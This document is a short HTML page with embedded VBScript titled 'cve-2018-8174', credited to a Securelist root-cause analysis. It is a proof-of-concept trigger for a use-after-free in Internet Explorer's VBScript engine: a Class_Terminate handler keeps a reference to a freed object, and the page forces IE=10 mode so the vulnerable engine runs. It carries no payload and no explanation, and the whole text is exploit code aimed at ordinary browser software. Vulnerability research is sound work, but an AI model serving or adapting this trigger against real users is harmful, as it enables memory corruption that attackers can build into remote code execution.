cve-2018-8174

<!-- Credit: https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/ -->
<!doctype html>
<html lang="en">

<head>
    <meta http-equiv="x-ua-compatible" content="IE=10">
</head>

<body>
    <script language="vbscript">
        Dim ArrA(1)
        Dim ArrB(1)

        Class ClassVuln
        Private Sub Class_Terminate()
        Set ArrB(0) = ArrA(0)
        ArrA(0) = 31337
        End Sub
        End Class

        Sub TriggerVuln
        Set ArrA(0) = New ClassVuln
        Erase ArrA
        Erase ArrB
        End Sub

        TriggerVuln
    </script>
</body>

</html>